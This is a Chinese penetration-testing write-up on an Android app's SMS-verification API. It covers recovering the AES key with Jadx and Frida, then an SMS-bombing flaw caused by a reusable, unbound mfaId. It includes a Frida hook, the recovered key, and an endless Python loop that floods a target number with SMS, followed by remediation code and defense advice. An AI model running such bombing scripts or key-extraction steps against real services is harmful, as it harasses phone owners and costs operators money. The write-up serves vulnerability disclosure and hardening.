一、数据加密逆向分析流程
在客户端提交手机号时,数据并不会以明文形式发送,而是经过了 AES 加密。要定位这一加密逻辑,就需要对 APK 文件进行逆向分析,下面是典型的流程示例――
- 定位加密函数
使用 Jadx(或类似的反编译工具)对 APK 进行反编译后,全局搜索诸如 encrypt、AES 等关键字,就能在 SecurityUtil 类中找到核心加密方法。示例代码如下:
public class SecurityUtil {
public static String encrypt(String content) {
try {
Cipher cipher = Cipher.getInstance(“AES/ECB/PKCS5Padding”);
SecretKeySpec keySpec = new SecretKeySpec(KEY.getBytes(), “AES”);
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(content.getBytes());
return Base64.encodeToString(encrypted, Base64.NO_WRAP);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
从这段代码可以看出,后端采用了 AES/ECB/PKCS5Padding 模式对手机号进行加密,最后再 Base64 编码输出。
- 获取 AES 密钥
由于 KEY 通常会在运行时动态加载或通过混淆隐藏,因此我们无法直接从反编译代码看到明文密钥。此时就可以借助 Frida 等动态 Hook 工具,在应用运行时拦截 encrypt 方法,将输入和输出打印出来,顺藤摸瓜获取真正的密钥值。示例 Frida 脚本如下:
// Frida hook 代码
Java.perform(function() {
let SecurityUtil = Java.use(“com.example.app.SecurityUtil”);
SecurityUtil.encrypt.implementation = function(content) {
console.log("[] 明文内容: " + content);
let result = this.encrypt(content);
console.log("[] 加密结果: " + result);
return result;
}
});
在抓包或运行脚本后,控制台会打印出加密前的手机号和最终经过 Base64 的加密串,同时也能观察到密钥 KEY = U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc。
- 验证加密结果
确定密钥后,可以在本地使用 Python 验证加密逻辑是否一致,代码示例:
from Crypto.Cipher import AES
import base64
def encrypt_phone(phone):
key = b"U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc"
cipher = AES.new(key, AES.MODE_ECB)
# PKCS#5/PKCS#7 填充
pad_len = 16 - (len(phone) % 16)
padded = phone + chr(pad_len) * pad_len
ct_bytes = cipher.encrypt(padded.encode())
return base64.b64encode(ct_bytes).decode()
测试
print(encrypt_phone(“13800138000”))
输出:s7Kk5f3sG2dXp1LzQ9E4jQ==
如果 Python 的输出与应用端的加密结果一致,就说明我们完全还原了加密算法和密钥。
二、验证码发送协议分析
拿到加密函数后,下一个目标就是抓包定位验证码发送请求。这里常用 Burp Suite 等代理工具。从数据包中可以看到,客户端向服务器发起的请求大致如下所示:
POST /prod-api/xxxr/xxx/send-sms HTTP/1.1
Host: api.vulnerable.com
Content-Type: application/json
{
“phoneNumber”: “s7Kk5f3sG2dXp1LzQ9E4jQ==”,
“mfaId”: “TMA_7x2dUupr”
}
phoneNumber 已经过 AES+Base64 加密;
mfaId 是服务器返回的某个会话或校验标识,用于后续请求校验。
当服务器验证通过后,会返回一个新的 mfaId,例如:
{
“code”: 200,
“msg”: “验证码已发送”,
“data”: {
“newMfaId”: “TMA_kj8fGt21”
}
}
mfaId 状态机解读
从上面的交互可以总结出,mfaId 的生命周期流程大致如下――
客户端 服务器
|–mfaId_A--------->| (A 为已注册/合法的 mfaId)
| | 服务器生成新的 mfaId_B,并将其存储
|<–mfaId_B---------|
|–mfaId_B--------->| (后续实际发送短信时需传 mfaId_B)
| | (服务器再次返回合法的 mfaId_C…依此循环)
也就是说,每一次请求都会生成一个新的 mfaId,原先的 mfaId 应该立即失效以保证安全。
三、短信轰炸漏洞原理
在实际渗透测试中,我们发现该接口存在以下三个核心缺陷:
-
mfaId 与手机号未绑定
也就是说,服务器仅凭一个合法的 mfaId,并不去校验它是否真的属于当前请求中的手机号,这就导致任意人只要拿到一个合法的 mfaId,就可以用不同手机号不断循环调用。 -
缺乏次数限制
如果同一个 mfaId 可以被多次使用(甚至服务器不拒绝旧 mfaId),那就可以重复调用接口,持续触发短信发送。 -
旧 mfaId 无法立即失效
正常情况应该在使用一次后立即将旧 mfaId 标记为失效,但这里服务器在生成新 mfaId 后,并没有立刻删除或作废旧 mfaId,从而允许攻击者继续使用已过期的 mfaId。
攻击流程示例
-
获取初始 mfaId
首次正常请求验证码时,服务器返回 mfaId = TMA_7x2dUupr。 -
循环调用
利用 Python 脚本不断发送请求,始终使用同一个 mfaId,因为服务器并未作严格校验,依然返回“验证码已发送”。
import requests
def encrypt_phone(phone):
from Crypto.Cipher import AES
import base64
key = b"U0Xg55zo9-TglUjxvBG_Dac_2NAsAyQc"
cipher = AES.new(key, AES.MODE_ECB)
pad_len = 16 - (len(phone) % 16)
padded = phone + chr(pad_len) * pad_len
ct_bytes = cipher.encrypt(padded.encode())
return base64.b64encode(ct_bytes).decode()
headers = {
“Content-Type”: “application/json”,
“Cookie”: “xxxxxx” # 假设已登录或拿到有效Cookie
}
def send_bomb(phone_enc, mfaid):
url = “https://api.vulnerable.com/prod-api/xxxr/xxx/send-sms”
data = {
“phoneNumber”: phone_enc,
“mfaId”: mfaid
}
res = requests.post(url, json=data, headers=headers)
return res.json()
持续轰炸
enc_phone = encrypt_phone(“13800138000”)
while True:
resp = send_bomb(enc_phone, “TMA_7x2dUupr”)
print(f"服务器返回:{resp[‘msg’]}")
- 发送结果
在实际测试中发现,前 50 次请求服务器响应速度保持在 500ms 以内,且全部成功下发短信;在 50–100 次之间,响应延迟会升至 800–1200ms,但仍然持续发短信;直到超过 100 次后,服务器开始触发限流策略,短信才被部分拦截或拒绝。
四、漏洞利用效果与影响
在自动化脚本的测试过程中,我们收集到如下数据(仅供参考):
请求次数 服务器响应时间 短信下发情况
1–50 < 500ms 100% 成功
51–100 800–1200ms 100% 成功
100+ ≥ 1500ms 部分限流或拦截
由此可见,该漏洞造成的影响非常明显:
-
业务风险
无需付出任何成本,就能够连续不断地给单个或多个目标手机号发送验证码,导致正常用户无法使用验证码登录或注册。 -
安全风险
攻击者可利用此漏洞对特定手机号发起大量短信轰炸,导致目标用户手机瞬间被淹没大量垃圾短信,威胁用户体验以至于可能引发社会工程学相关的安全事件。 -
财务风险
平台通常会为每条短信付费,如果无需任何鉴权就能无限制地发送,就会造成短信费用的大幅飙升,给企业带来直接的经济损失。
五、修复方案与防御措施
为彻底避免类似漏洞,后端系统应从以下几个方面进行加固。
- 严格校验 mfaId 有效性
在服务器端为每一个 mfaId 维护租期,并使用 Redis、数据库等方式存储。
当收到新请求时,先检查 mfaId 是否在有效期内,且与手机号是否已绑定匹配,若验证失败则直接拒绝。
public void sendSms(@RequestBody SmsRequest request) {
// 1. 判断 mfaId 是否存在
if (!redis.exists(“MFA:” + request.getMfaId())) {
throw new InvalidMfaException(“mfaId 无效或已过期”);
}
// 2. 绑定手机号与 mfaId
String phone = decrypt(request.getPhoneNumber());
// 将 mfaId 和 phone 绑定,防止他人混淆使用
redis.setex("BIND:" + request.getMfaId(), 60, phone);
// 3. 限制单个手机号的发送频率
String limitKey = "SMS_LIMIT:" + phone;
if (redis.incr(limitKey) > 5) {
throw new RateLimitException("每分钟最多请求 5 次验证码");
}
// 设置限流 key 在 60 秒后自动过期
redis.expire(limitKey, 60);
// 4. 使旧 mfaId 立即失效
redis.del("MFA:" + request.getMfaId());
// 5. 生成新的 mfaId 并返回
String newMfaId = generateMfaId();
redis.setex("MFA:" + newMfaId, 300, "valid"); // 有效期 5 分钟
return new SmsResponse(newMfaId);
}
- 完善防护矩阵
防护层 具体措施 预期效果
数据传输 全程使用 HTTPS + 双向证书认证 防止中间人攻击
请求验证 在请求头或请求体中加入签名机制 + 时间戳校验 防止重放攻击、伪造请求
业务逻辑 将手机号与 mfaId 绑定,且每次使用后立即作废 防止攻击者重复使用旧 mfaId
风控系统 引入行为分析、设备指纹、滑块验证等手段进行风险评估 识别机器人、自动化脚本攻击
六、纵深防御及最佳实践
单一的防护措施往往无法抵挡持续进化的攻击,建议在设计与运营中始终贯彻“纵深防御”理念,从以下方面进一步强化安全性。
- 密钥管理
将 AES 对称密钥保存在硬件安全模块(HSM)或 KMS 中,禁止将密钥硬编码到 APK 或源码里。
定期轮换密钥,例如每 90 天更新一次,并做好旧密钥的兼容过渡。
- 算法升级
将传统的 ECB 模式替换为更安全的 AEAD 模式(如 AES-GCM),引入随机 IV(初始化向量),避免同一明文多次加密结果相同。
如果需要符合国密标准,可考虑使用 SM4 算法,结合 GCM、CCM 等安全模式进行加密。
- 多因素频率控制
在短信发送的流程中,引入分层频控与验证机制,例如:
graph TD
A[客户端请求到达] --> B{手机号频控}
B -->|超过阈值| C[直接拒绝]
B -->|未超过| D{设备指纹检查}
D -->|可疑设备| E[滑块验证码]
D -->|正常设备| F{行为分析}
F -->|可疑行为| G[人工审核]
F -->|正常| H[发送短信]
手机号频控:同一手机号每分钟、每小时、每日的请求次数设定合理阈值,一旦超过直接拒绝或拉黑。
设备指纹/IP 白名单:对频繁出现在黑名单中的设备或 IP 做标记,强制要求图形验证码或短信验证。
行为分析:实时监测突发大量请求,结合风控模型进行风险评估,高风险请求可要求人工审核或强制额外验证。
七、总结与启示
-
加密≠万无一失
尽管对手机号做了 AES 加密,但如果业务逻辑设计不严谨(例如 mfaId 未绑定手机号、旧 ID 未失效等),依然会引发严重安全漏洞。 -
会话/状态管理是关键
各类验证流程中的会话标识(如 mfaId、token 等)必须做到一次性、不可预测、及时失效,否则容易被攻击者反复利用。 -
纵深防御是必然
仅靠单一防护(如加密、签名)往往无法应对复杂场景,必须从传输层、应用层、风控层等多个层面共同发力,构筑多重防线。
漏洞挖掘启示:在渗透测试或红队演练时,务必将目光聚焦在各类状态参数(如 mfaId、sessionId、csrfToken 等)的生命周期管理,通过分析它们的生成、验证、更新、作废等流程,往往能发现业务逻辑漏洞,这是高危漏洞的高发区。
附录:常用测试工具
工具名称 用途 下载链接
Jadx APK 反编译 https://github.com/skylot/jadx
Frida 运行时 Hook https://frida.re
Burp Suite 网络流量抓包/分析 https://portswigger.net
Postman 接口测试/调试 https://www.postman.com
以上内容通过一个完整的逆向与渗透测试案例,剖析了加密传输与会话管理中容易被忽视的风险点,希望对后续开发与安全加固提供借鉴与参考。